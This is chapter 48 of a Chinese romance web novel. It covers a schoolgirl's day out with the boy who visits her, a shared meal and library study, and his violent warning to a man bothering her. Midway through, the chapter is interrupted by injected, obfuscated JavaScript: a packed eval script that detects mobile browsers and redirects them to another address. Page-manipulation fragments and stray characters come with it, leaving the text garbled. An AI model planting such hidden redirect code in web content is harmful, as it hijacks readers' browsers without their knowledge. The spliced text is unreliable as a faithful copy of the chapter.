落星望久

48. chapter 48

    周末的时候不闭校,初萤周末几乎从不回家,但每周都会出校门买点东西,次数久了,门卫叔叔都认识她了。


    虽然江括面生,但见他和初萤走一起,知道他们认识,也就没有阻拦。


    j大附属中学,是如江市的重点高中,占地面积大,基础设施也比较好。


    同样地,考上重点大学、成为各界知名人士的学长学姐们也不少。


    往宿舍楼走的那段距离,会经过一个花坛,空闲处种满了四季青。


    说是让他们没事多看看绿色,对眼睛好。


    初萤很少专门停留下来放松眼睛,每次都是学累了站在走廊眺望远方。


    以前也仅仅是把目光定在虚空一点,不知道想什么,完全放空自己。


    现在她站在走廊时,偶尔会想在坪川的那些日子。


    原本,初萤应该给江括介绍一下学校布局,以及某些秘闻,但实际是,从校门到宿舍楼这不算短的一段距离,他们没人说话。


    直到停在宿舍楼的前面。


    江括把手里的零食袋递过去,说:“在下面等你。”


    初萤顿了下,慢慢抬手接过,但她抬眸望着江括,迟迟没有动作。


    “怎么了?”江括问。


    初萤摇摇头,半晌,动了动唇,声不可闻道:“怕你会走。”


    就像当时刚恢复嗓子似的,更多的是气音。


    即便再小,也丝毫不影响江括听到,他愣了瞬间,没有笑,也没有别的很大的反应,只是道:“不走。”


    顿了下,他又补充:“饿着呢。”


    果然,听到这句话的初萤怔了片刻,终于有了动作:“等我会儿。”


    说着她就连忙转身,几乎是小跑着上楼梯。


    江括皱了皱眉,提醒道:“慢点,不着急,我...”


    初萤来不及回头应声,只来得及举起空着的那只手摆了下,她的速度不仅没慢,甚至又快了一点。


    江括没说完的话停在舌尖,他看着初萤的背影,没有移开视线。


    瘦了很多。


    比昨晚在手机里看着更明显。


    只是过了一个多月,初萤比国庆假期的时候瘦了一圈,整个人薄薄的一片,像是稍微大点的风都能吹走。


    初萤说因为成绩下降时,江括没有反驳,但是他一点都不信。


    想到刚才校门口发生的事情,江括眼神一暗。


    察觉到初萤急急忙忙的身影时,他的眼皮半垂,遮住了里面的情绪,再抬眸时已经恢复到平时。


    初萤急急忙忙把东西放到宿舍,又跑着下来,慌慌张张的,停下时还微微喘着气,就连刘海都被风吹得翘起。


    她就这样抬眸望着江括,那双眼睛里面星光点点。


    江括下意识伸手、抬起、靠近。


    初萤眨了下眼睛,一动没动。


    即将碰到时,江括顿了瞬间,才接着往前移了几寸,碰到有些凉的发丝,帮她把翘起的头发顺了下。


    很快,不过两秒的时间。


    江括收回手,垂下的手指蜷在一起,开口道:“走吧。”


    明明动作很轻,若即若离的两秒,却让初萤久久没回过神,她极力忽视额角的触感,半晌才“嗯”了声。


    往外走的时候,初萤终终于缓过来,她问:“你想吃什么啊?”


    “都行。”江括说,“不挑。”


    很好养活。


    江括是初萤见到过最好养活的人。


    初萤却不觉得开心。


    之所以好养活,背后都是有原因的。


    “那我来选。”说着初萤把手里的东西递过去,“今天换你跟着我。”


    江括看着递过来的东西,停顿几秒,抬手接过来,失笑。


    一瓶酸奶,一包肉脯,再加上袋装的小熊软糖。


    不知道的,还以为他过来找初萤回忆童年。


    虽然一闪而过,但还是被一直望着他的人抓到,初萤故意问:“笑什么呀?”


    “没。”江括摇摇头,把东西揣进口袋,“觉得挺好。”


    看到他的动作,初萤的眼睛弯了弯,她说:“我也觉得很好。”


    既指那些零食,又指她现在的感觉。


    今天天气不算很好,聊的天也不是什么很有趣的话题,但她却久违得笑了出来。


    一切细小的、能激起内心温柔的瞬间都值得她铭记。


    初萤觉得,在最后,留在她回忆里的,只会是零食、笑容,和江括。


    而不是别的什么。


    为了选择一家最好吃的饭,初萤在脑海里挨个搜索这十几年她印象比较深的饭店,并选择了她觉得味道最好的一家。


    那是一家私家菜馆,和林泰家一样开了很多年。


    “虾仁菌菇拌面,想不想吃这个啊?”


    说着听她安排,但真到点菜的时候,怕江括不喜欢,初萤还是习惯性地征求他的意见。


    而江括每次的回答都是:“可以。”


    初萤:“……”


    那她就真的做主了。


    这时,初萤才知道以前每次姥姥就算避开妈妈,也要想尽办法想让她多吃几样的心情了。


    她现在也是这种状态。


    什么都想让江括尝一尝。


    刚开始江括还能坐得住,在她点完面,又点了两道菜,还要再点时,江括把菜单从她手中抽出:“吃不完了。”


    初萤罕见纠结:“可是那道口蘑豌豆鸡也很好吃,还有那个——”


    “——下次。”


    初萤话音顿住,一时没有反应过来:“啊?”


    江括没回答,把菜单递给了服务员。


    初萤愣愣看着他,好半天思绪才加载完毕,她快速地抿了下唇,试探性反问:“下次?”


    江括视线从她掩盖不住期待的眸子上移开,“嗯”了声,重复了一遍:“下次。”


    蓦地,初萤的眼睛亮了几度,比夜晚的霓虹还要吸引人。


    江括抬手倒了杯温水,移到对面,放到她手边。


    初萤下意识把水杯捧在掌心,嘴角向上翘了翘,说:“那就下次。”


    约定的意义就在于,给人以期待。


    而人的一生就是在无数个期待变为现实的循环里走到尽头。


    有所期,有所求,原本就是一个很幸运的事情。


    初萤脸上的浅笑直到吃完饭都没落下去。


    江括的目光在她的笑脸上停顿几秒,接着伸手把口袋里的酸奶拿出,插好吸管,递过去。


    看着手边的东西,初萤没动:“给你喝的。”


    “我知道。”江括往前伸了下,直接塞到她的手心,“太撑了。”


    点的菜基本吃完了,没有浪费。


    初萤也吃得很饱,但却慢慢握住了掌心的酸奶。


    没别的原因,江括插好吸管递给她的行为本身,就足够她把任何拒绝的话咽回去。


    见她接过,江括站起身:“等我会儿。”


    以为他要去洗手间,初萤乖乖地点点头,看着正常,实际脑海已经杂七杂八想了一堆。


    她其实想问江括,他知不知道刚才的行为在普通的男生女生之间代表什么啊。


    她也知道,这更多可能的是江括长时间照顾蔓姨养成的习惯性动作。


    接触越久,初萤就越明白当初在加油站林泰那句“阿江,你现在全是被腌入味”所代表的含义。


    这些她都知道。


    但就是忍不住多想,也忍不住发散。


    就在初萤忍不住发散到银河系时,江括走过来,站在她身旁,说:“走了。”


    听到声音,初萤猛地回过神来,有点心虚地点了点头,转移话题道:“我先去结账!”


    没等她抬起脚步往收银台,就被江括拉着手腕:“结过了。”


    初萤动作一顿,看着他控诉道:“我说请你吃饭!”


    江括说:“不是下次吗?”


    听到这句话,初萤的眼睛都睁大了些,满脸的不可置信,没想到江括还会钻语言漏洞。


    见她神情,江括嘴角有笑容闪过,他没再说话,也没松手,就这么拉着她向门口。


    一步接着一步,很稳。


    二十米左右的距离,不算远,时间也不长,却走得初萤完全没了脾气。


    初萤垂眸望着被牵着的手腕,心想下次就下次吧。


    往后还很长,总能都补回来。


    走出门口,江括松开了手。


    明明隔着外套,初萤却还觉得酥酥麻麻的,她极力忽视这种感觉,她手指蜷起,下意识想往袖子里缩了缩。


    她问:“你想去哪里啊?”


    虽然这么问,初萤却没想真的能听到回答。


    “都行”、“都可以”……她在心里罗列了几种可能会听到的回答。


    没想到,下秒却听江括说:“图书馆。”


    初萤愣了下。


    “不是还要写卷子吗?”不等她回答,江括就接着说,“按着你的计划走。”


    初萤静静看了江括好几秒,她的嘴角才向上扬了扬,轻声开口:“知道了。”


    按着她的计划走。


    在去图书馆的路上,这句话还不受控制地在初萤脑海里循环。


    她想,要是所有事情都能按着她的计划发展就好了。


    初萤刚好背着包,里面放着几套空白的卷子,她挑出一套,又拿出一支笔放在上面,递给江括,她眼睛弯了弯,小声道:“替我写作业。”


    江括垂眸看了眼面前的物理卷子,又抬眸看向对她笑的人,几秒后,他拿起了笔。


    见他动作,初萤脸上的笑容更明显,她又拿出一套卷子,也准备写。


    这种感觉很奇妙。


    在如江市,江括坐在她对面,替她写卷子……


    一切的一切,都像是只会出现在梦里的场景。


    图书馆很安静,除了翻书声和偶尔几句压着嗓子的谈话声外,几乎听不到声响。


    初萤写几道题,都会抬眸看一眼对面的人,仿佛怕他会消失不见。


    在无数个瞬间里,她都在想,要是一直这么下去就好了。


    但不管再怎么祈祷,时间还是会毫不留情溜走。


    蔓姨还在家,江括明天还有事,转眼就到了离开的时候。


    初萤想把江括送到车站,不出意料地被拒绝。


    在回去的路上,她脸上的笑容变浅了很多,步伐也慢了一些。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400348|161167||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>再次站到学校门口,这次是江括先开口:“进去吧。”


    初萤点点头,却没有动作。


    她看着江括,有句盘旋在舌尖盘旋很久的话,马上就要不受控制地飞出。


    明明知道答案,她还是想听江括亲自说出口。


    半晌,初萤张了张嘴,终于问出口:“你今天是专门来找我的吗?”


    她听到自己这么说,在等回答的这几秒,她甚至下意识屏住了呼吸。


    江括顿了瞬间,还是低声道:“担心。”


    只有两个字。


    但这也足够了。


    初萤的眼睛弯了弯,她没再继续这个话题,而是说:“路上小心。”


    江括“嗯”了声。


    初萤又说:“我看着你走。”


    江括没有动作,迟疑了几秒,他说:“以后觉得哪里不对劲立马报警。”


    知道他在说中午的事情,初萤抿了下唇:“知道了。”


    话音落下,四周安静下来,对视瞬间,江括才说:“走了。”


    初萤压下心底的不舍,佯装轻松地对他摆了摆手:“到家发消息。”


    江括点了点头,转身离开。


    初萤看着他的背影,扬起的嘴角逐渐落回原处。


    这时,初萤心里有种冲动,她想:坪川离得也不远,只要江括回一次头,她就跟着走,反正她哪里写卷子都一样,明天晚自习之前回来就行。


    可是没有。


    江括一次都没有回头。


    直到他的背影拐进那条巷子消失不见,初萤慢半拍地低下头,她的脚尖踢了下并不存在的小石子,没再动作。


    隔了会儿,她又抬眸看了眼那条巷子,才慢吞吞地转身离开。


    初萤没再回头看,自然不知道在她转身后,那条巷口露出熟悉的身影,看着她走进学校后才放心离开。


    江括没有去车站,而是去了如江市另个地方——紧挨着市中心的某个小区。


    他到的时候六点过了几分钟,天色逐渐转暗。


    江括也不着急,他就站在那个小区斜对面的车站牌下,把口袋里的小熊软糖撕开,从里面捏了一颗黄色的。


    顿时,柠檬的味道逐渐弥漫整个口腔。


    初萤说这种袋装和坪川散称的味道不同,江括吃不出来什么区别,只是觉得一样甜。


    他当时其实也不是特意去买软糖,而是每种类型都会买。


    刚出事的那段时间,他妈妈喝中药后、每次头疼后,都会吃点甜的。


    林蔓容其实不喜欢吃糖,但自从生病,她的口味也发生很大改变,就像这样就能和以前撕裂。


    为了能让她好受一点,江括买过各种类型的糖果,次数多了,也知道了哪家好吃。d


    想到当时初萤捧着那罐透明软糖双眼亮晶晶地模样,江括抬了抬眼,再次看向对面的小区。


    他吃着可爱软糖,给人的感觉却是另个极端:冷冽,肉眼可见的低气压。


    江括压了整个下午的情绪快要掩盖不住。


    将近七点,某个身影才出现在眼前。


    没等他进小区,就被人拽着衣领拖进了旁边的小巷,猛地掼到墙上。


    尤文杰捂着被装得生疼的肩,下意识的反应不是骂人,而是害怕,这个力度他太熟悉。


    本能的恐惧让他瑟缩一下,心惊胆战转过身看动手的人。


    看到人的那瞬间,尤文杰头一次恨自己的直觉为什么那么准,他没有质问江括为什么动手,而是问:“你怎么知道我家地址?!”


    说着,他的眼神不自觉地往旁边路口瞥,想找机会跑走。


    江括垂着眼看他,一声不吭,不知道在想什么。


    未知的恐惧最吓人,这时最考验人的承受能力,尤文杰咽了口唾沫,虚张声势:“这周边都是我认识的人,等会儿被人看到,你也走不了!”


    江括依旧不说话。


    似是为了配合此时的局面,有冷风袭来,吹得人发颤。


    江括越是这样,尤文杰越慌,他心里知道事情症结在哪里,但是由于心急找错了


    关键点:“在如江,小初最在乎的就是我妈,你敢把我真么着,我妈气急攻心住院,小初不会原谅……唔!”


    他每说一句江括的眼神就冷一分,在“原谅”两个字话音刚落时,江括就猛地上前,拽着他的胳膊猛地往下拉,抬起膝盖狠狠顶上去。


    胸骨正下方,正中间的凹陷处,神经丛的聚集地。


    只是一下,锐痛就会席卷全身,严重的话会产生短暂窒息。


    尤文杰顿时捂着肚子蜷缩在地下,他满脸通红,期间有十几秒甚至没能发出声音,仿佛下秒就要窒息而亡。


    过了会儿,才有断续的呻吟从他嘴里流出,但足够暴露他此时的痛苦。


    这时,江括蹲下,他垂眸望着地上难受到发不出哀嚎的人,神色没有丝毫的波动:“别再去烦她。”


    尤文杰痛得精神都有点模糊,但即便如此,这些话还是一字不落传到他耳中,清晰无比。


    “再有一次,我每天都来堵你。”江括的眼神就像是看垃圾,隔着距离都觉得脏,“不管你躲在哪儿都没用。”


    他说:“不信你就试试。”